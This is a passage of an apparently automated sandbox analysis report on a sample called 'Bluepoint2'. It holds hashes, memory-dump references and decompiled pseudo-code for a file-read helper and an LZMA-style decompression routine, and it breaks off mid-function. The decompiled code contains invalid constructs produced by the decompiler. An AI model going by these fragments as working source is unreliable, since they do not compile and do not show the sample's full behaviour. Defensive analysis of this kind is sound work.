                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: Window$CallMessageProcSendVisible
                                                    • String ID:
                                                    • API String ID: 3748168415-3916222277
                                                    • Opcode ID: a73dc4e993bde12ea44745026bd4b5676165c6f206d332bc9731ab0fc1b08652
                                                    • Instruction ID: 537e1cae7e4c88fb21f4f8cfd237bdd46b0b38e99f2a5e053ca6ba0093d9a5c8
                                                    • Opcode Fuzzy Hash: a73dc4e993bde12ea44745026bd4b5676165c6f206d332bc9731ab0fc1b08652
                                                    • Instruction Fuzzy Hash: 4401B171200608AFEF205F11DD84A6B3A35EB84361F904837FA08752E0D77F8D929E6D
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 100%
                                                    			E004061DB(void* _a4, void* _a8, long _a12) {
                                                    				int _t7;
                                                    				long _t11;
                                                    
                                                    				_t11 = _a12;
                                                    				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
                                                    				if(_t7 == 0 || _t11 != _a12) {
                                                    					return 0;
                                                    				} else {
                                                    					return 1;
                                                    				}
                                                    			}





                                                    0x004061df
                                                    0x004061ef
                                                    0x004061f7
                                                    0x00000000
                                                    0x004061fe
                                                    0x00000000
                                                    0x00406200

                                                    APIs
                                                    • ReadFile.KERNELBASE(?,00000000,00000000,00000000,00000000,<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="m 164,249 v 1.5 4.5 h 3 v -4.5 -1.5 z m -4,3 v 1.5 1.5 h 3 v -1.5 -1.5 z m -8,8 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.,font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;white-space:norma,004035F5,?,?,004034F9,<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="m 164,249 v 1.5 4.5 h 3 v -4.5 -1.5 z m -4,3 v 1.5 1.5 h 3 v -1.5 -1.5 z m -8,8 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.,00004000,?,00000000,004033A3), ref: 004061EF
                                                    Strings
                                                    • <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="m 164,249 v 1.5 4.5 h 3 v -4.5 -1.5 z m -4,3 v 1.5 1.5 h 3 v -1.5 -1.5 z m -8,8 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1., xrefs: 004061DE
                                                    • font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;white-space:norma, xrefs: 004061DB
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: FileRead
                                                    • String ID: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="m 164,249 v 1.5 4.5 h 3 v -4.5 -1.5 z m -4,3 v 1.5 1.5 h 3 v -1.5 -1.5 z m -8,8 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.5 h 3 v -1.5 -1.5 z m 4,0 v 1.5 1.$font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;white-space:norma
                                                    • API String ID: 2738559852-546649030
                                                    • Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
                                                    • Instruction ID: 689b8facb1381159ac92aeccc4703b7db47ce2620db9a14c340ec3ef8a35c8b1
                                                    • Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
                                                    • Instruction Fuzzy Hash: C1E0863250021AABDF10AE518C04AEB375CEB01360F014477F922E2150D230E82187E8
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 99%
                                                    			E00407194() {
                                                    				signed int _t530;
                                                    				void _t537;
                                                    				signed int _t538;
                                                    				signed int _t539;
                                                    				unsigned short _t569;
                                                    				signed int _t579;
                                                    				signed int _t607;
                                                    				void* _t627;
                                                    				signed int _t628;
                                                    				signed int _t635;
                                                    				signed int* _t643;
                                                    				void* _t644;
                                                    
                                                    				L0:
                                                    				while(1) {
                                                    					L0:
                                                    					_t530 =  *(_t644 - 0x30);
                                                    					if(_t530 >= 4) {
                                                    					}
                                                    					 *(_t644 - 0x40) = 6;
                                                    					 *(_t644 - 0x7c) = 0x19;
                                                    					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
                                                    					while(1) {
                                                    						L145:
                                                    						 *(_t644 - 0x50) = 1;
                                                    						 *(_t644 - 0x48) =  *(_t644 - 0x40);
                                                    						while(1) {
                                                    							L149:
                                                    							if( *(_t644 - 0x48) <= 0) {
                                                    								goto L155;
                                                    							}
                                                    							L150:
                                                    							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
                                                    							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
                                                    							 *(_t644 - 0x54) = _t643;
                                                    							_t569 =  *_t643;
                                                    							_t635 = _t569 & 0x0000ffff;
                                                    							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
                                                    							if( *(_t644 - 0xc) >= _t607) {
                                                    								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
                                                    								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
                                                    								_t628 = _t627 + 1;
                                                    								 *_t643 = _t569 - (_t569 >> 5);
                                                    								 *(_t644 - 0x50) = _t628;
                                                    							} else {
                                                    								 *(_t644 - 0x10) = _t607;
                                                    								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
                                                    								 *_t643 = (0x800 - _t635 >> 5) + _t569;
                                                    							}
                                                    							if( *(_t644 - 0x10) >= 0x1000000) {
                                                    								L148:
                                                    								_t487 = _t644 - 0x48;
                                                    								 *_t487 =  *(_t644 - 0x48) - 1;
                                                    								L149:
                                                    								if( *(_t644 - 0x48) <= 0) {
                                                    									goto L155;
                                                    								}
                                                    								goto L150;
                                                    							} else {
                                                    								L154:
                                                    								L146:
                                                    								if( *(_t644 - 0x6c) == 0) {
                                                    									L169:
                                                    									 *(_t644 - 0x88) = 0x18;
                                                    									L170:
                                                    									_t579 = 0x22;
                                                    									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
                                                    									_t539 = 0;
                                                    									L172:
                                                    									return _t539;
                                                    								}
                                                    								L147:
                                                    								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
                                                    								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
                                                    								_t484 = _t644 - 0x70;
                                                    								 *_t484 =  &(( *(_t644 - 0x70))[1]);
                                                    								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
                                                    								goto L148;
                                                    							}
                                                    							L155:
                                                    							_t537 =  *(_t644 - 0x7c);
                                                    							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
                                                    							while(1) {
                                                    								L140:
                                                    								 *(_t644 - 0x88) = _t537;
                                                    								while(1) {
                                                    									L1:
                                                    									_t538 =  *(_t644 - 0x88);
                                                    									if(_t538 > 0x1c) {
                                                    										break;
                                                    									}
                                                    									L2:
                                                    									switch( *((intOrPtr*)(_t538 * 4 +  &M00407602))) {
                                                    										case 0:
                                                    											L3:
                                                    											if( *(_t644 - 0x6c) == 0) {
                                                    												goto L170;
                                                    											}
                                                    											L4:
                                                    											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
                                                    											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
                                                    											_t538 =  *( *(_t644 - 0x70));
                                                    											if(_t538 > 0xe1) {
                                                    												goto L171;
                                                    											}
                                                    											L5:
                                                    											_t542 = _t538 & 0x000000ff;
                                                    											_push(0x2d);
                                                    											asm("cdq");
                                                    											_pop(_t581);
                                                    											_push(9);
                                                    											_pop(_t582);
                                                    											_t638 = _t542 / _t581;
                                                    											_t544 = _t542 % _t581 & 0x000000ff;
                                                    											asm("cdq");
                                                    											_t633 = _t544 % _t582 & 0x000000ff;
                                                    											 *(_t644 - 0x3c) = _t633;
                                                    											 *(_t644 - 0x1c) = (1 << _t638) - 1;
                                                    											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
                                                    											_t641 = (0x300 << _t633 + _t638) + 0x736;
                                                    											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
                                                    												L10:
                                                    												if(_t641 == 0) {
                                                    													L12:
                                                    													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
                                                    													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
                                                    													goto L15;
                                                    												} else {
                                                    													goto L11;
                                                    												}
                                                    												do {
                                                    													L11:
                                                    													_t641 = _t641 - 1;
                                                    													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
                                                    												} while (_t641 != 0);
                                                    												goto L12;
                                                    											}
                                                    											L6:
                                                    											if( *(_t644 - 4) != 0) {
                                                    												GlobalFree( *(_t644 - 4));
                                                    											}
                                                    											_t538 = GlobalAlloc(0x40, 0x600); // executed
                                                    											 *(_t644 - 4) = _t538;
                                                    											if(_t538 == 0) {
                                                    												goto L171;
                                                    											} else {
                                                    												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
                                                    												goto L10;
                                                    											}
                                                    										case 1:
                                                    											L13:
                                                    											__eflags =  *(_t644 - 0x6c);
                                                    											if( *(_t644 - 0x6c) == 0) {
                                                    												L157:
                                                    												 *(_t644 - 0x88) = 1;
                                                    												goto L170;
                                                    											}
                                                    											L14:
                                                    											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
                                                    											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
                                                    											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
                                                    											_t45 = _t644 - 0x48;
                                                    											 *_t45 =  *(_t644 - 0x48) + 1;
                                                    											__eflags =  *_t45;
                                                    											L15:
                                                    											if( *(_t644 - 0x48) < 4) {
                                                    												goto L13;
                                                    											}
                                                    											L16:
                                                    											_t550 =  *(_t644 - 0x40);
                                                    											if(_t550 ==  *(_t644 - 0x74)) {
                                                    												L20:
                                                    												 *(_t644 - 0x48) = 5;
                                                    												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
                                                    												goto L23;
                                                    											}
                                                    											L17:
                                                    											 *(_t644 - 0x74) = _t550;
                                                    											if( *(_t644 - 8) != 0) {
                                                    												GlobalFree( *(_t644 - 8));
                                                    											}
                                                    											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
                                                    											 *(_t644 - 8) = _t538;
                                                    											if(_t538 == 0) {
                                                    												goto L171;
                                                    											} else {
                                                    												goto L20;
                                                    											}
                                                    										case 2:
                                                    											L24:
                                                    											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
                                                    											 *(_t644 - 0x84) = 6;
                                                    											 *(_t644 - 0x4c) = _t557;
                                                    											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
                                                    											goto L132;
                                                    										case 3:
                                                    											L21:
                                                    											__eflags =  *(_t644 - 0x6c);
                                                    											if( *(_t644 - 0x6c) == 0) {
                                                    												L158:
                                                    												 *(_t644 - 0x88) = 3;
                                                    												goto L170;
                                                    											}
                                                    											L22:
                                                    											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
                                                    											_t67 = _t644 - 0x70;
                                                    											 *_t67 =  &(( *(_t644 - 0x70))[1]);
                                                    											__eflags =  *_t67;
                                                    											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
                                                    											L23:
                                                    											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
                                                    											if( *(_t644 - 0x48) != 0) {
                                                    												goto L21;
                                                    											}
                                                    											goto L24;
                                                    										case 4:
                                                    											L133:
                                                    											_t559 =  *_t642;
                                                    											_t626 = _t559 & 0x0000ffff;
                                                    											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
                                                    											if( *(_t644 - 0xc) >= _t596) {
                                                    												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
                                                    												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
                                                    												 *(_t644 - 0x40) = 1;
                                                    												_t560 = _t559 - (_t559 >> 5);
                                                    												__eflags = _t560;
                                                    												 *_t642 = _t560;
                                                    											} else {
                                                    												 *(_t644 - 0x10) = _t596;
                                                    												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
                                                    												 *_t642 = (0x800 - _t626 >> 5) + _t559;
                                                    											}
                                                    											if( *(_t644 - 0x10) >= 0x1000000) {
                                                    												goto L139;
                                                    											} else {
                                                    												goto L137;
                                                    											}
                                                    										case 5:
                                                    											L137:
                                                    											if( *(_t644 - 0x6c) == 0) {
                                                    												L168:
                                                    												 *(_t644 - 0x88) = 5;
                                                    												goto L170;
                                                    											}
                                                    											L138:
                                                    											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
                                                    											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
                                                    											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
                                                    											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
                                                    											L139:
                                                    											_t537 =  *(_t644 - 0x84);
                                                    											L140:
                                                    											 *(_t644 - 0x88) = _t537;
                                                    											goto L1;
                                                    										case 6:
                                                    											L25:
                                                    											__edx = 0;
                                                    											__eflags =  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x40) != 0) {
                                                    												L36:
                                                    												__eax =  *(__ebp - 4);
                                                    												__ecx =  *(__ebp - 0x38);
                                                    												 *(__ebp - 0x34) = 1;
                                                    												 *(__ebp - 0x84) = 7;
                                                    												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                                    												goto L132;
                                                    											}
                                                    											L26:
                                                    											__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                    											__esi =  *(__ebp - 0x60);
                                                    											__cl = 8;
                                                    											__cl = 8 -  *(__ebp - 0x3c);
                                                    											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                    											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                    											__ecx =  *(__ebp - 0x3c);
                                                    											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                    											__ecx =  *(__ebp - 4);
                                                    											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                    											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                    											__eflags =  *(__ebp - 0x38) - 4;
                                                    											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                    											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                    											if( *(__ebp - 0x38) >= 4) {
                                                    												__eflags =  *(__ebp - 0x38) - 0xa;
                                                    												if( *(__ebp - 0x38) >= 0xa) {
                                                    													_t98 = __ebp - 0x38;
                                                    													 *_t98 =  *(__ebp - 0x38) - 6;
                                                    													__eflags =  *_t98;
                                                    												} else {
                                                    													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                    												}
                                                    											} else {
                                                    												 *(__ebp - 0x38) = 0;
                                                    											}
                                                    											__eflags =  *(__ebp - 0x34) - __edx;
                                                    											if( *(__ebp - 0x34) == __edx) {
                                                    												L35:
                                                    												__ebx = 0;
                                                    												__ebx = 1;
                                                    												goto L61;
                                                    											} else {
                                                    												L32:
                                                    												__eax =  *(__ebp - 0x14);
                                                    												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                    												__eflags = __eax -  *(__ebp - 0x74);
                                                    												if(__eax >=  *(__ebp - 0x74)) {
                                                    													__eax = __eax +  *(__ebp - 0x74);
                                                    													__eflags = __eax;
                                                    												}
                                                    												__ecx =  *(__ebp - 8);
                                                    												__ebx = 0;
                                                    												__ebx = 1;
                                                    												__al =  *((intOrPtr*)(__eax + __ecx));
                                                    												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                    												goto L41;
                                                    											}
                                                    										case 7:
                                                    											L66:
                                                    											__eflags =  *(__ebp - 0x40) - 1;
                                                    											if( *(__ebp - 0x40) != 1) {
                                                    												L68:
                                                    												__eax =  *(__ebp - 0x24);
                                                    												 *(__ebp - 0x80) = 0x16;
                                                    												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                    												__eax =  *(__ebp - 0x28);
                                                    												 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                    												__eax =  *(__ebp - 0x2c);
                                                    												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                    												__eax = 0;
                                                    												__eflags =  *(__ebp - 0x38) - 7;
                                                    												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                    												__al = __al & 0x000000fd;
                                                    												__eax = (__eflags >= 0) - 1 + 0xa;
                                                    												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                                    												__eax =  *(__ebp - 4);
                                                    												__eax =  *(__ebp - 4) + 0x664;
                                                    												__eflags = __eax;
                                                    												 *(__ebp - 0x58) = __eax;
                                                    												goto L69;
                                                    											}
                                                    											L67:
                                                    											__eax =  *(__ebp - 4);
                                                    											__ecx =  *(__ebp - 0x38);
                                                    											 *(__ebp - 0x84) = 8;
                                                    											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                                    											goto L132;
                                                    										case 8:
                                                    											L70:
                                                    											__eflags =  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x40) != 0) {
                                                    												__eax =  *(__ebp - 4);
                                                    												__ecx =  *(__ebp - 0x38);
                                                    												 *(__ebp - 0x84) = 0xa;
                                                    												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                                    											} else {
                                                    												__eax =  *(__ebp - 0x38);
                                                    												__ecx =  *(__ebp - 4);
                                                    												__eax =  *(__ebp - 0x38) + 0xf;
                                                    												 *(__ebp - 0x84) = 9;
                                                    												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                    												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                                    											}
                                                    											goto L132;
                                                    										case 9:
                                                    											L73:
                                                    											__eflags =  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x40) != 0) {
                                                    												goto L90;
                                                    											}
                                                    											L74:
                                                    											__eflags =  *(__ebp - 0x60);
                                                    											if( *(__ebp - 0x60) == 0) {
                                                    												goto L171;
                                                    											}
                                                    											L75:
                                                    											__eax = 0;
                                                    											__eflags =  *(__ebp - 0x38) - 7;
                                                    											_t259 =  *(__ebp - 0x38) - 7 >= 0;
                                                    											__eflags = _t259;
                                                    											0 | _t259 = _t259 + _t259 + 9;
                                                    											 *(__ebp - 0x38) = _t259 + _t259 + 9;
                                                    											goto L76;
                                                    										case 0xa:
                                                    											L82:
                                                    											__eflags =  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x40) != 0) {
                                                    												L84:
                                                    												__eax =  *(__ebp - 4);
                                                    												__ecx =  *(__ebp - 0x38);
                                                    												 *(__ebp - 0x84) = 0xb;
                                                    												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                                    												goto L132;
                                                    											}
                                                    											L83:
                                                    											__eax =  *(__ebp - 0x28);
                                                    											goto L89;
                                                    										case 0xb:
                                                    											L85:
                                                    											__eflags =  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x40) != 0) {
                                                    												__ecx =  *(__ebp - 0x24);
                                                    												__eax =  *(__ebp - 0x20);
                                                    												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                    											} else {
                                                    												__eax =  *(__ebp - 0x24);
                                                    											}
                                                    											__ecx =  *(__ebp - 0x28);
                                                    											 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                    											L89:
                                                    											__ecx =  *(__ebp - 0x2c);
                                                    											 *(__ebp - 0x2c) = __eax;
                                                    											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                    											L90:
                                                    											__eax =  *(__ebp - 4);
                                                    											 *(__ebp - 0x80) = 0x15;
                                                    											__eax =  *(__ebp - 4) + 0xa68;
                                                    											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                                    											goto L69;
                                                    										case 0xc:
                                                    											L99:
                                                    											__eflags =  *(__ebp - 0x6c);
                                                    											if( *(__ebp - 0x6c) == 0) {
                                                    												L164:
                                                    												 *(__ebp - 0x88) = 0xc;
                                                    												goto L170;
                                                    											}
                                                    											L100:
                                                    											__ecx =  *(__ebp - 0x70);
                                                    											__eax =  *(__ebp - 0xc);
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											_t334 = __ebp - 0x70;
                                                    											 *_t334 =  *(__ebp - 0x70) + 1;
                                                    											__eflags =  *_t334;
                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											__eax =  *(__ebp - 0x2c);
                                                    											goto L101;
                                                    										case 0xd:
                                                    											L37:
                                                    											__eflags =  *(__ebp - 0x6c);
                                                    											if( *(__ebp - 0x6c) == 0) {
                                                    												L159:
                                                    												 *(__ebp - 0x88) = 0xd;
                                                    												goto L170;
                                                    											}
                                                    											L38:
                                                    											__ecx =  *(__ebp - 0x70);
                                                    											__eax =  *(__ebp - 0xc);
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											_t122 = __ebp - 0x70;
                                                    											 *_t122 =  *(__ebp - 0x70) + 1;
                                                    											__eflags =  *_t122;
                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											L39:
                                                    											__eax =  *(__ebp - 0x40);
                                                    											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                    												goto L48;
                                                    											}
                                                    											L40:
                                                    											__eflags = __ebx - 0x100;
                                                    											if(__ebx >= 0x100) {
                                                    												goto L54;
                                                    											}
                                                    											L41:
                                                    											__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                                    											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                    											__ecx =  *(__ebp - 0x58);
                                                    											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                    											 *(__ebp - 0x48) = __eax;
                                                    											__eax = __eax + 1;
                                                    											__eax = __eax << 8;
                                                    											__eax = __eax + __ebx;
                                                    											__esi =  *(__ebp - 0x58) + __eax * 2;
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                    											__ax =  *__esi;
                                                    											 *(__ebp - 0x54) = __esi;
                                                    											__edx = __ax & 0x0000ffff;
                                                    											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                                    											__eflags =  *(__ebp - 0xc) - __ecx;
                                                    											if( *(__ebp - 0xc) >= __ecx) {
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    												__cx = __ax;
                                                    												 *(__ebp - 0x40) = 1;
                                                    												__cx = __ax >> 5;
                                                    												__eflags = __eax;
                                                    												__ebx = __ebx + __ebx + 1;
                                                    												 *__esi = __ax;
                                                    											} else {
                                                    												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                                    												 *(__ebp - 0x10) = __ecx;
                                                    												0x800 = 0x800 - __edx;
                                                    												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                    												__ebx = __ebx + __ebx;
                                                    												 *__esi = __cx;
                                                    											}
                                                    											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    											 *(__ebp - 0x44) = __ebx;
                                                    											if( *(__ebp - 0x10) >= 0x1000000) {
                                                    												goto L39;
                                                    											} else {
                                                    												L45:
                                                    												goto L37;
                                                    											}
                                                    										case 0xe:
                                                    											L46:
                                                    											__eflags =  *(__ebp - 0x6c);
                                                    											if( *(__ebp - 0x6c) == 0) {
                                                    												L160:
                                                    												 *(__ebp - 0x88) = 0xe;
                                                    												goto L170;
                                                    											}
                                                    											L47:
                                                    											__ecx =  *(__ebp - 0x70);
                                                    											__eax =  *(__ebp - 0xc);
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											_t156 = __ebp - 0x70;
                                                    											 *_t156 =  *(__ebp - 0x70) + 1;
                                                    											__eflags =  *_t156;
                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											while(1) {
                                                    												L48:
                                                    												__eflags = __ebx - 0x100;
                                                    												if(__ebx >= 0x100) {
                                                    													break;
                                                    												}
                                                    												L49:
                                                    												__eax =  *(__ebp - 0x58);
                                                    												__edx = __ebx + __ebx;
                                                    												__ecx =  *(__ebp - 0x10);
                                                    												__esi = __edx + __eax;
                                                    												__ecx =  *(__ebp - 0x10) >> 0xb;
                                                    												__ax =  *__esi;
                                                    												 *(__ebp - 0x54) = __esi;
                                                    												__edi = __ax & 0x0000ffff;
